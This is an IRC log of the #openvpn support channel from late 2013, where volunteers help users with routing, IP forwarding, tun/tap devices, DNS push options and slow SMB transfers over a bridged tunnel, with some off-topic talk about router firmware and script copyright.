20:54 <@TheManual> https://forums.openvpn.net/topic13229.html
20:55 <@vpnHelper> Title: OpenVPN Support Forum 'MULTI: bad source address from client' errors : Server Administration (at forums.openvpn.net)
20:57 <+pekster> JuddyJacob_: Clients do that all the time, especially (but not limited to) Windows clients
20:57 <+pekster> All it means is that some "broken" application on the far side sourced an IP packet using the "inside" interface (usually its LAN address) instead of the VPN IP
20:57 <+pekster> OpenVPN can't route the packet, so complains to the log and drops it
20:58 < JuddyJacob_> OK,
21:02 -!- TheManual is now known as readme_afk
21:05 -!- readme_afk is now known as TheWoManual
21:06 <@TheWoManual> later gtg
21:06 -!- TheWoManual [~ma1com10t@host-92-20-71-56.as13285.net] has quit [Quit: Nettalk6 - www.ntalk.de]
21:08 <@krzee> !iroute
21:08 <@vpnHelper> "iroute" is does not bypass or alter the kernel's routing table, it allows openvpn to know it should handle the routing when the kernel points to it but the network is not one that openvpn knows about. This is only needed when connecting a LAN which is behind a client, and therefor belongs in a ccd entry. Also see !route and !ccd
21:08 <@krzee> oh nevermind
21:08 <@krzee> i should finish reading scroll before i hit the bot :D
21:09 <@krzee> JuddyJacob_, you still having problems with the client lan?
21:09 < JuddyJacob_> yeah, doing some reading on the ipfw rules
21:11 <@krzee> show me the server log of the client connecting
21:11 <@krzee> go ahead and reconnect the client to get that
21:16 < JuddyJacob_> ha ha pastebin thinks im spam now, hold please
21:17 < JuddyJacob_> http://pastebin.com/aHR3Sszg
21:18 <@krzee>   <krzee> show me the server log of the client connecting
21:18 <@krzee> that was not what i asked for
21:19 <@krzee> wanna try again?
21:23 < JuddyJacob_> http://pastebin.com/7nFezDya
21:24 <@krzee> it is cut off
21:24 <@krzee> wanna try again?
21:25 < JuddyJacob_> http://pastebin.com/vR7WdmTD
21:30 < JuddyJacob_> I wonder if its because the hostname of the system is freebsdbox, and I used the common name freebsdbox ?
21:37 -!- elfixit [~Icedove@46-65-216-44.zone16.bethere.co.uk] has quit [Quit: elfixit]
21:42 < JuddyJacob_> be back in 5
21:43 <@krzee> nah thats fine
21:44 <@krzee> does the client have IP forwarding enabled?
21:44 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 246 seconds]
21:44 <@krzee> !winipforward
21:44 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
21:48 < JuddyJacob_> checking
21:52 < JuddyJacob_> reboot
21:52 -!- JuddyJacob_ [~JuddyJaco@unaffiliated/juddyjacob] has quit [Read error: Connection reset by peer]
21:53 -!- JuddyJacob_ [~JuddyJaco@unaffiliated/juddyjacob] has joined #openvpn
21:55 < JuddyJacob_> yup, that was it.... now i just feel dumb
21:56 < JuddyJacob_> but ill never forget that one now
21:56 < JuddyJacob_> :)
21:57 < JuddyJacob_> is there a good hard copy for reading up on openvpn?
22:01 <@krzee> !book
22:01 <@vpnHelper> "book" is http://www.packtpub.com/openvpn-2-cookbook/book check out JJK's awesome cookbook for openvpn 2!
22:02 <@krzee> i was a tech proof reader of that book, so i read the whole thing
22:02 <@krzee> i learned a few things, and overall i feel like it is a great book
22:02 < JuddyJacob_> add to cart :)
22:02 < JuddyJacob_> Thanks for everyones help
22:03 <@krzee> openvpn is rapidly developed, so that book does not have any 2.3 stuff in it, no native ipv6 and stuff
22:03 <@krzee> no problem
22:03 < JuddyJacob_> I dont think im ready for IPV6 anyway
22:09 <+pekster> People still use IPv4? :P
22:09 <+pekster> They say IPv6 addresses are hard to type, but ::1 is a lot easier than 127.0.0.1 ;)
22:09 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
22:09 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
22:27 < JuddyJacob_> wouldn't it be [::1]
22:35 < JuddyJacob_> nevermind The loopback address, 0000:0000:0000:0000:0000:0000:0000:0001, may be abbreviated to ::1 by using both rules.
23:00 < JuddyJacob_> nevermind The loopback address, 0000:0000:0000:0000:0000:0000:0000:0001, may be abbreviated to ::1 by using both rules.
23:01 -!- JuddyJacob_ [~JuddyJaco@unaffiliated/juddyjacob] has quit [Quit: Leaving]
23:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
23:01 <@krzee> had he just followed the flowchart he would have seen ip forwarding
23:02 <+pekster> Was that the problem? I've been in&out for a bit tonight
23:02 <@krzee> yep
23:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
23:02 <@krzee> shit its right there at where he was just "can you ping the lan ip of the client?"
23:02 <+pekster> Most problems here are 1. understanding the enormous config options and flexibility (and planning,) 2. certs/PKI 3. routing, 4. firewalling
23:02 <+pekster> Very little of which is actually openvpn :P
23:02 <@krzee> yep
23:03 <+pekster> I guess options is a bit on openvpn, but the howto provides a good starting point, and while the manpage is indeed big, it's searchable pretty easily
23:03 <@krzee> i agree, most stuff we help with is not openvpn
23:03 <@krzee> its also now much easier to link to, thanks again for that =]
23:05 <+pekster> Yea, and I need to put the URL to my github gist that has the awk code for that in the wiki article's comments (editors can find it by doing editPage)
23:07 <@krzee> you did that using awk!?
23:07 <+pekster> Okay, done (in case I'm not around when it's critically urgent to do it)
23:07 <+pekster> Yes ;)
23:07 <@krzee> nice man
23:07 <+pekster> Well, just the cleanup
23:08 <+pekster> raw man2html output, run through this: https://gist.github.com/QueuingKoala/5985986
23:08 <@vpnHelper> Title: awk script to clean up openvpn.8 man2html output (at gist.github.com)
23:08 <+pekster> awk might not be an html/xml parser, but you don't really need one for things like this
23:09 <@krzee> hey, it worked
23:09 <+pekster> Yes it did, and we get precious anchor links
23:09 <@krzee> and in about 16 lines
23:09 <+pekster> Yup. Nail: meet hammer
23:09 <@krzee> or 14
23:09 <+pekster> Hey, I can make it 1 if you really want :P
23:10 <@krzee> haha right
23:10 <@krzee> and i guess its like 9
23:10 <@krzee> regardless, nice
23:14 <+pekster> RMS would be unhappy that the script isn't GPL, though I'm tempted to WTFPL it ;)
23:16 <@krzee> could such a simple script actually be copywritten?
23:17 <@krzee> if so, can i copywrite piping cat to grep, and then refuse to allow it to be used?
23:19 <+pekster> softawre gets fuzzy
23:20 <+pekster> The general idea thesedays is to put Copyright <Your Name> <years authored> on basically any code you write, then put it under an acceptable license depending on application (BSD, GPL, $NonFree, etc)
23:20 <+pekster> Implemenatations can be copyrighted (that's how EULAs work in the first place) but then you have trolls like Oracle trying to sue people for using public APIs
23:21 <+pekster> That's like Openvpn Tech suing network-manager/gnome/Redhat for using the management interface, for example
23:21 <+pekster> I mean, it would just be silly
23:21 -!- Serus [~Dragoon@31-151-158-2.dynamic.upc.nl] has quit []
23:43 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Quit: svimik@mail.ru]
23:50 -!- Haxxa [~Harrison@162.243.39.102] has quit [Excess Flood]
23:52 -!- Haxxa [~Harrison@162.243.39.102] has joined #openvpn
--- Day changed Sun Nov 03 2013
01:09 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has quit [Quit: The Nightmares will collide. And become a Dream. <3]
01:14 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
01:31 -!- Falconor [~Falconor@unaffiliated/falconor] has quit [Ping timeout: 272 seconds]
01:37 -!- Cygor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
01:56 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
01:59 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
01:02 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
01:15 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
01:16 -!- kro[au] [~thatguy@209.141.41.57] has joined #openvpn
01:38 -!- mattock_afk is now known as mattock
02:09 -!- u0m3_ [~u0m3@109.96.191.201] has joined #openvpn
02:13 -!- u0m3 [~u0m3@92.80.69.128] has quit [Ping timeout: 272 seconds]
02:17 -!- crus [~crusader@crus0r.soho.on.net] has quit [Ping timeout: 245 seconds]
02:26 -!- crus [~crusader@crus0r.soho.on.net] has joined #openvpn
03:09 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Ping timeout: 245 seconds]
03:13 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
03:18 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:32 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Ping timeout: 240 seconds]
03:36 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
03:50 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 240 seconds]
04:43 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Read error: Connection reset by peer]
04:53 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
04:54 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:55 -!- crus [~crusader@crus0r.soho.on.net] has quit [Ping timeout: 246 seconds]
04:57 -!- crus [~crusader@crus0r.soho.on.net] has joined #openvpn
04:59 -!- evangeline [~evangelin@BSN-95-233-106.static.dsl.siol.net] has quit [Remote host closed the connection]
04:59 -!- evangeline [~evangelin@BSN-95-233-106.static.dsl.siol.net] has joined #openvpn
05:13 -!- evangeline [~evangelin@BSN-95-233-106.static.dsl.siol.net] has quit [Remote host closed the connection]
05:14 -!- evangeline [~evangelin@BSN-95-233-106.static.dsl.siol.net] has joined #openvpn
05:19 -!- evangeline [~evangelin@BSN-95-233-106.static.dsl.siol.net] has quit [Quit: Leaving]
05:34 -!- SviMik [~pIRCuser8@213.35.250.131] has joined #openvpn
06:28 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
06:29 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
06:34 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 272 seconds]
06:45 -!- NET||abuse [~luke@86.6.148.64] has quit [Ping timeout: 240 seconds]
06:59 -!- NET||abuse [~luke@86.6.148.64] has joined #openvpn
07:15 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Remote host closed the connection]
07:33 -!- SviMik [~pIRCuser8@213.35.250.131] has quit [Ping timeout: 240 seconds]
07:38 -!- kirin` [telex@gateway/shell/anapnea.net/x-toojsuulsqtzxtqf] has quit [Ping timeout: 272 seconds]
07:38 -!- kirin` [telex@gateway/shell/anapnea.net/x-xipxrupyoiffdsgx] has joined #openvpn
07:54 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn
08:12 -!- u0m3_ is now known as u0m3
08:28 -!- elfixit [~Icedove@46-65-216-44.zone16.bethere.co.uk] has joined #openvpn
08:46 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
08:48 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 240 seconds]
08:52 -!- mmikeym [~mikeym@184.70.65.118] has joined #openvpn
09:04 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has joined #openvpn
09:11 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
09:21 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
09:34 -!- faLUCE [~paolo@host102-47-dynamic.47-79-r.retail.telecomitalia.it] has joined #openvpn
09:35 < faLUCE> hello. is there a portable version of openvpn for linux? I found only the windows version
09:49 < EugeneKay> The binary is in ELF format,l like every other linux binary. That's about as portable as it gets
09:51 < faLUCE> EugeneKay: but it depends on some shared libs.?
09:51 < EugeneKay> !xy
09:51 <@vpnHelper> "xy" is http://mywiki.wooledge.org/XyProblem -- I want to do X, but I'm asking how to do Y...
09:51 < SviMik> right, it requeries openssl at least
09:52 < EugeneKay> Wtf kind of shit are you trying to do where a portable linux binary seems liek the thing to do
09:52 < EugeneKay> You /could/ hack the makefile to use non-shared libs, but WHY
09:52 < faLUCE> EugeneKay: don't be stupidly aggressive.
09:53 < EugeneKay> DOn't be stupid
09:53 < faLUCE> EugeneKay: shut up
09:53 -!- mode/#openvpn [+o EugeneKay] by ChanServ
09:53 <@EugeneKay> Nou
09:53 -!- mode/#openvpn [+q faLUCE!*@*] by EugeneKay
09:54 <@EugeneKay> To begin with, existing as a portable binary for a linux system is silly. You need to have root privileges to run `openvpn` to begin with(and have it connect to a tun/tap device)
09:55 <@EugeneKay> So just use $PKG_MGR to install it
09:55 <@EugeneKay> If you want a "portable openvpn linux" the proper thing to do is make a bootable linux USB stick and just use THAT, full stop.
09:56 <@EugeneKay> Your inability to explain the problem, even when told what you're asking about is moronic, is incredible
09:56 <@EugeneKay> Further telling somebody who knows more about the product you are asking help for to "shut up" is moronic.
09:57 <@EugeneKay> I suggest you unstuff your head from your ass and think about the fact that you are asking for free advice
09:57 <@EugeneKay> If you don't like it, fuck off.
09:57 -!- mode/#openvpn [-q faLUCE!*@*] by EugeneKay
09:57 < faLUCE> EugeneKay: your are funny
09:59 < faLUCE> EugeneKay: you did not even understand anything, since you did not leave me the occasion to explain. but you were only stupidly aggressive
09:59 -!- mode/#openvpn [+b $a:faluce] by EugeneKay
09:59 -!- faLUCE was kicked from #openvpn by EugeneKay [And I'm done listening]
10:00 -!- mode/#openvpn [-b $a:faluce] by EugeneKay
10:01 -!- faLUCE [~paolo@host102-47-dynamic.47-79-r.retail.telecomitalia.it] has joined #openvpn
10:28 < faLUCE> is it possibile to use openvpn without encryption so to avoid overhead? I have to avoid some nats while streming video, but I want to avoid overhead in transmitting packets
10:29 < SviMik> !g openvpn disable encryption
10:29 < SviMik> (short answer: yes, it is possible)
10:30 < faLUCE> SviMik: thanks, but what's the result? I  mean: does it avoid the overhead, or it adds overhead in other ways?
10:31 < SviMik> as I know, encryption doesn't change packet size, but makes some cpu load
10:32 < faLUCE> SviMik: and how can I avoid overhead?
10:32 < SviMik> which overhead?
10:32 <@EugeneKay> If you don't want encryption, and you want it to be portable, openvpn is not what you want
10:33 <@EugeneKay> It sounds like you're "trying to change IP address" for the purpose of bypassing country-level IP restrictions
10:33 <@EugeneKay> For that you want a HTTP proxy
10:33 <@EugeneKay> Again, ask the question you want answered
10:34 < faLUCE> I have to avoid some nats while streming video, but I want to avoid overhead in transmitting packets
10:34 < SviMik> "avoid some nats"... maybe he is trying to use IGMP (multicast) streaming?
10:34 <@EugeneKay> Fuck if I know
10:34 <@EugeneKay> Guy won't come right out and say anything useful
10:34 < SviMik> :)
10:35 <@EugeneKay> And I don't feel like playing 20 questions anymore
10:35 <@EugeneKay> !beer
10:35 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
10:46 < Moonlightning> faLUCE, unless one of the involved machines in absolutely /ancient/, I doubt the encryption will cause any noticeable overhead.
10:46 < faLUCE> Moonlightning: in fact the problem is encapsulation, not encryption
10:48 < SviMik> Moonlightning nowadays not only computers run linux. machines don't have to be ancient to have ARM 700 mhz single core processor, like Raspberry Pi ;)
10:49 < Moonlightning> faLUCE, unless one of the involved machines is either absolutely ancient or something like a Raspberry Pi, I doubt the packet encapsulation will cause any noticeable overhead.
10:50 < faLUCE> Moonlightning: I have a very limited bandwidth
10:50 < Moonlightning> faLUCE, SviMik already said that the encryption doesn't increase the packet size.
10:50 -!- mmikeym [~mikeym@184.70.65.118] has quit [Ping timeout: 272 seconds]
10:51 < faLUCE> Moonlightning: in fact I just saw that the problem is not encryption, but encapsulation
10:51  * Moonlightning facehoofs.
10:52 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Read error: Connection reset by peer]
10:52 < Moonlightning> So lemme get this straight. You want to disable encryption because you have limited bandwidth, and you think that the encapsulation caused by the encryption will increase the packet size?
10:54 < SviMik> I don't think he is thinking...
10:55 < Moonlightning> No kidding.
10:58 < Moonlightning> Well, if he cares enough, he'll check back here without anyone having pinged him. *shrug*
11:11 <@Ziber> push "dhcp-option DNS 10.192.254.1" <-- That's the correct way to set my VPN clients' nameservers to the VPN endpoint, right?
11:11 <@Ziber> s/endpoint/server/
11:15 < SviMik> looks right
11:15 <@Ziber> Alright. Had to manually set it on my laptop, but works either way.
11:16 < SviMik> it is also possible to set it on client side (dhcp-option DNS 8.8.8.8), so client could change it if he want
11:16 < SviMik> (I mean client config)
11:20 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
11:22 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 272 seconds]
11:43 -!- Bretos [~Bretos@vps.tyborek.pl] has quit [Ping timeout: 264 seconds]
12:12 -!- papo [~mathias@84-72-28-168.dclient.hispeed.ch] has joined #openvpn
12:12 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:12 < papo> hello
12:26 -!- mmikeym [~mikeym@184.70.65.118] has joined #openvpn
12:27 <@Ziber> hello.
12:35 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Remote host closed the connection]
12:36 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
12:41 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Read error: Connection reset by peer]
12:44 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
12:49 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Read error: Connection reset by peer]
12:51 -!- Bretos [~Bretos@vps.tyborek.pl] has joined #openvpn
12:52 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
12:57 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
12:58 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
13:11 -!- AginLap [~AginLap@109.201.154.201] has joined #openvpn
13:14 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has quit [Quit: The Nightmares will collide. And become a Dream. <3]
13:45 -!- mmikeym [~mikeym@184.70.65.118] has quit [Ping timeout: 245 seconds]
13:57 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Remote host closed the connection]
14:01 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
14:03 -!- ompaul [~ompaul@unaffiliated/ompaul] has joined #openvpn
14:06 < ompaul> I've only ever used openvpn in a linux <-> linux situation for the last few years, I have never worked with windows, and now I find I have to. What I would like to know is "Can a tun talk to a tap?" (my guess is no)
14:10 <@krzee> windows tap device does tun
14:10 <@krzee> dont worry just keep using dev tun like before
14:11 < ompaul> thanks
14:11 <@krzee> np
14:11  * ompaul goes to edit configs ;-)
14:11 <@krzee> windows tap device does tun emulation
14:12 < ompaul> ah, so my stressing was for nothing :)
14:12 <@krzee> usually the case ;]
14:15 < rob0> But your answer, if you're interested, is no, tun-to-tun and tap-to-tap only.
14:18 < ompaul> rob0: looks like I get to call the "tap emulation of tun" cheat mode.
14:18  * ompaul goes to gen some certs
14:19 < ompaul> I wouldn't mind but for 8 years I have fought using windows for road warriors and I suspect this is not going to end well ...
14:19 < rob0> The Linux driver is called "tun", it does tun and tap both.
14:20 < ompaul> ack
14:20 < rob0> The Windows driver is called "tap", it does tun and tap both.
14:20 < ompaul> but strictly speaking tun to tun and tap to tap
14:21 < ompaul> s/but//g
14:21 < rob0> yes, the config defines whether it will be tun or tap
14:25 <+pekster> rob0: To make it more complicated, "technically" Windows doesn't do PtP (which is why net30 faked it until the subnet topology was available.) So the OS only ever sees it as an Ethernet device
14:26 <@krzee> hence "tun emulation"
14:26  * ompaul gets enlightened
14:27 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 246 seconds]
14:36 -!- AginLap [~AginLap@109.201.154.201] has quit [Quit: Leaving]
14:46 < ompaul> cheers
14:46 -!- ompaul [~ompaul@unaffiliated/ompaul] has quit [Quit: and zebedee said its time for other stuff]
14:55 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
14:59 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
14:59 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
15:11 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:18 -!- trumee [~parul@185.11.37.157] has quit [Ping timeout: 246 seconds]
15:18 -!- trumee [~parul@185.11.37.247] has joined #openvpn
15:25 -!- nsgn [~nsgn@cpe-24-28-25-43.austin.res.rr.com] has joined #openvpn
15:25 < nsgn> alright..i'm on day 3 of my frustrating issue with SMB over openvpn. and i'm now in my office with full tools/connections at my disposal for testing, and its a sunday with nobody using the systems so i can do what i need with them
15:25 < nsgn> i have toyed with a huge variety of settings in openvpn and gotten absolutely no improvement.
15:25 < nsgn> ive tried mssfix, tried using openvpn over tcp instead of udp, tried mtu testing, etc
15:26 < nsgn> but the same issue still exists: the tunnel runs the full 40mbps (same size as fiber line we have) with any protocol i want..except SMB
15:26 < nsgn> latency is a very consistent 6ms
15:26 < nsgn> QoS is off on each side in windows
15:29 < SviMik> have you tried to use all settings together as described in a gigabit network article?
15:29 < nsgn> yes. i've literally retried with 50 different config files today. every time, even over tcp, everything is full speed...smb is 5mbps
15:30 < nsgn> SviMik, i'm even re-reading the entire article right now to ensure i missed nothing..but i have gotten no ability to get the problem to budge today
15:31 < SviMik> have looked for alternatives? maybe you don't need openvpn there
15:32 < nsgn> SviMik, hmm. i'm open to ideas. i just need a bridge from site to site (same subnet)
15:32 < nsgn> and, being a bridge, i need it to pass multicast and everything, obviously
15:33 < SviMik> why your cable doesn't bridge it? just plug both sides directly to your LAN switch :)
15:34 < SviMik> or you sharing it with another network?
15:34 <@krzee> nsgn, doesnt sound like an openvpn problem, that must be why changing openvpn stuff doesnt help
15:34 <@krzee> everything but smb works, so lets fine tune openvpn?
15:35 < nsgn> krzee, it was more like "ssh works everywhere but openvpn" :)
15:35 < nsgn> *smb
15:35 < SviMik> nsgn maybe VLAN can do this job?
15:35 <@krzee> then you looked at it wrong
15:35 < SviMik> I have no idea about your network configuration...
15:35 <@krzee> cause everything works fine except smb
15:36 <+pekster> nsgn: If "it works when no one else is in the office" or w/e, it's clearly an issue with your local network config
15:36 <@krzee> if mtu settings dont work you need to figure out whats wrong with your smb
15:36 < nsgn> SviMik, vlan over wan?
15:36 <+pekster> OpenVPN is not protocol-aware
15:37 < SviMik> nsgn as I said, I have no idea about your network configuration :)
15:37 <+pekster> (not above IP anyway)
15:37 <@krzee> ^ yes thats what i wanted to say
15:37 <@krzee> openvpn doesnt know its smb or http
15:37 <@krzee> if openvpn works good with yout http then its just as happy to move your smb packets
15:37 < SviMik> nsgn you said that you have direct fiber cable. where is wan?
15:38 < nsgn> i'll clarify that. sorry
15:38 < nsgn> there is fiber on each end that comes from the same ISP. pings at just 6ms for the whole link. but it is not an actual point to point fiber connection, as we needed freestanding internet at each end
15:39 < nsgn> each site has fiber optic internet with a very short set of hops in between, but the openvpn tunnel is running over WAN
15:40 < SviMik> nsgn if you need L2 tunnel over ip, you can use something like EoIP
15:40 < nsgn> SviMik, i do need level 2. eoip..hmm
15:41 < SviMik> unfortunatelly EoIP it is mikrotik specific protocol. so you need mikrotik routers, or to install RouterOS on a PC.
15:42 < SviMik> but I believe there must be something like this for linux
15:42 < nsgn> ah, darn
15:42 < Aketzu> SviMik: openvpn for example :)
15:43 < nsgn> one end is the main office and has a pfsense router running
15:43 < nsgn> the other end is just a windows server in a rack in a datacenter with a public IP, so we are running openvpn for windows smack on it
15:43 < SviMik> Aketzu openvpn is too complicated for this task :)
15:43 <+pekster> If you don't want encryption, go use GRE or something
15:43 < Aketzu> nsgn: have you tested proto tcp in openvpn?
15:44 < nsgn> Aketzu, yes. same performance (perfect for all protocols except smb)
15:44 < SviMik> found. https://github.com/bbonev/eoip
15:44 <@vpnHelper> Title: bbonev/eoip · GitHub (at github.com)
15:44 < SviMik> Kernel mode EOIP (Ethernet Over IP) tunnel compatible with MikroTik RouterOS
15:44 < nsgn> SviMik, well, i dont have linux at either end
15:44 < nsgn> i could deploy it i guess
15:44 <+pekster> (hint: GRE is platform-agnostic)
15:45 <+pekster> Dunno what your issue is, but I'm confident to say it's not openvpn since an "empty" link works fine. Obviously _something_ is different when your link is under load, and that means your network condition is doing something that hoses higher-level applications
15:46 <+pekster> We generally call that a misconfiguration of the network: where it is would be for you to determine, or opt to use a different transport protocol that the broken network doesn't destroy as badly
15:46 < nsgn> i'm totally open to being shown where i'm doing this network wrong..but it's not very complicated. an openvpn tunnel between sites. bridged on each end to the LAN. everything in the world works fine over it but SMB. i'm not really feeling like this is openvpn's fault, but i'd like to understand why SMB reacts this way on it
15:48 < Aketzu> from what I've tested windows file sharing anything from broken DNS to long pings can do strange things
15:48 <+pekster> I'd generally discourage bridging between sites like that
15:48 < Aketzu> also: if windows decides server isn't serving things properly / authentication nicely it will try to use webdav (i.e. http)... and will keep using it until restart
15:49 < nsgn> pings are very short. bridging is required here since its a failover hyperv server. if i must go live with the VMs on it they must think they're in the main building, not offsite
15:51 < SviMik> you can buy mikrotik router and use EoIP there :)
15:52 < Aketzu> can you guarantee it will work?
15:54 < SviMik> we use mikrotik router in our office (model RB493G). they are not expensive, but are very stable.
15:55 -!- mattock is now known as mattock_afk
15:56 < nsgn> i dont have privlidge to put one in the offsite datacenter without paying more. the offsite is just a leased dedicated server
15:56 < SviMik> maybe just twice more expensive that ordinary home router. but they can OpenVPN, EoIP, pptp, l2tp, pppoe, sstp (all above both server and clients)
15:56 < nsgn> i need something i can terminate in windows on that side. which openvpn does perfectly if not for friggin smb :(
15:56 < SviMik> and even BGP :)
15:56 < nsgn> i'm really 100% happy with openvpn for this until i came across this issue. it set up easy and does just what i want
15:56 < nsgn> hyperv very happily runs our replications over it at full speed
16:01 < SviMik> you can hide router inside the server, if there is enough space like free hdd slot :)
16:02 < nsgn> ha. i've done that before...but in this case it isnt our server. we literally lease the server, not the space
16:04 < nsgn> !! this just in. i may have caught the issue in wireshark
16:05 < nsgn> i dont really know what it means cause i'm not much of an expert at the packet sniffing level, but i've gotten an angle on it with wireshark that shows a lot of black/red lines only when i run a SMB transfer
16:05 < SviMik> here is list of interfaces this router can do: http://svimik.com/mikrotikinterfaces.png (I find it impressive for its price)
16:06 < nsgn> messages like TCP DUB ACK, TCP Out-of-order, etc
16:06 < nsgn> *DUP
16:08 <@krzee> SviMik, my $30 router can do all that
16:08 <@krzee> (since i added a custom openwrt firmware on it)
16:09 <@krzee> in fact i even modded it to have different vlans for different ports on the router's switch, effectively meaning i can have different networks for each of the ports
16:10 <@krzee> no web ui for all that tho, cli or gohome
16:15  * rob0 goes home!
16:18 < nsgn> and wow
16:18 < nsgn> just wow
16:18 < nsgn> i found it
16:19 < nsgn> this is why one shouldn't do this kind of stuff on a weekend where collective sleep has been about 5 hours
16:20 < nsgn> i was measuring the SMB traffic in MB/sec but assuming mbps
16:20 < nsgn> i pretty much could not have wasted the past 12 hours over a more moronic mistake
16:22 < nsgn> i think i'm going to go jump off something tall now
16:27 -!- master_o1_master [~master_of@p4FF24AA0.dip0.t-ipconnect.de] has joined #openvpn
16:27 < SviMik> krzee my router has GUI application, which can make all configuration, even if IP config is broken (it can use L2 protocol in this case)
16:28 < SviMik> also there is safe mode, which automatically reverts all changes if you loose connection to router
16:28 < SviMik> and more other useful stuff
16:29 < SviMik> there is even packet sniffer buit-in :)
16:30 <+pekster> Having a GUI and having an "L2 protocol" for access (I really doubt that's what it's doing, but maybe they re-invented the wheel with a "custom transport protocol for http" or some such nonsense) are completely different things
16:30 <+pekster> My firmware too has tcpdump built in: no need for a GUI application for that either
16:30 -!- master_of_master [~master_of@p4FD7B6AB.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
16:30 <@krzee> SviMik, mine had a gui, until i got rid of it
16:31 < nsgn> alright so one final question before i ban myself from technology for a day for this
16:31 <+pekster> A GUI is just a pretty interface to a system that in turn calls CLI commands (or some higher-level language like C/perl/whatever) to do the "real work" ;)
16:31 < nsgn> on a 40x40 link will compression bring a performance benefit or is it really for lower speed links?
16:31 < SviMik> I know that a linux-based firmware can do all these things... after spending some hours or days to install and configure them... :)
16:32 <+pekster> Building from source? Sure. If you already have a firmware, you can actually prep all this stuff so it only takes minutes
16:32 <+pekster> YMMV, of course ;)
16:33 <+pekster> nsgn: No easy anser to that; it depends on the CPU utilization of compression, how full the link is, the compression ratio, and the link speed
16:33 < SviMik> pekster not the firmware itself, but additional software\patches, if it can't do neccesary stuff out of the box
16:34 <+pekster> Obviously those factors vary by the type of data being sent over the link too, so there's no magic equation
16:34 < nsgn> pekster, traffic is primarily https and smb (mixed content over smb)
16:34 <+pekster> SviMik: Sure it can; I can build firmwares that do _everything_ out of the box, including setting custom IPs, installed apps, etc
16:34 <+pekster> OpenWRT has a 'files' dir you can place in the root of the builddir that does exactly this for config files
16:35 <+pekster> So yes, you can prep a box to do exactly what you want, including applications, ssh keys, config files, IP settings, VLAN settings, scripts to run, programs to start, and custom applications
16:35 <+pekster> And it all takes about 2 minutes to flash
16:35 <+pekster> (not hours ;)
16:35 < SviMik> pekster hmm... then you have to build custom firmware instead of using default binaries
16:35 <+pekster> Which you do once
16:35 <+pekster> Why don't we take the time it took for the development of all the code too while we're at it
16:35 <+pekster> It's a silly argumenet. "It can take hours/days" is true only if you "start from scratch"
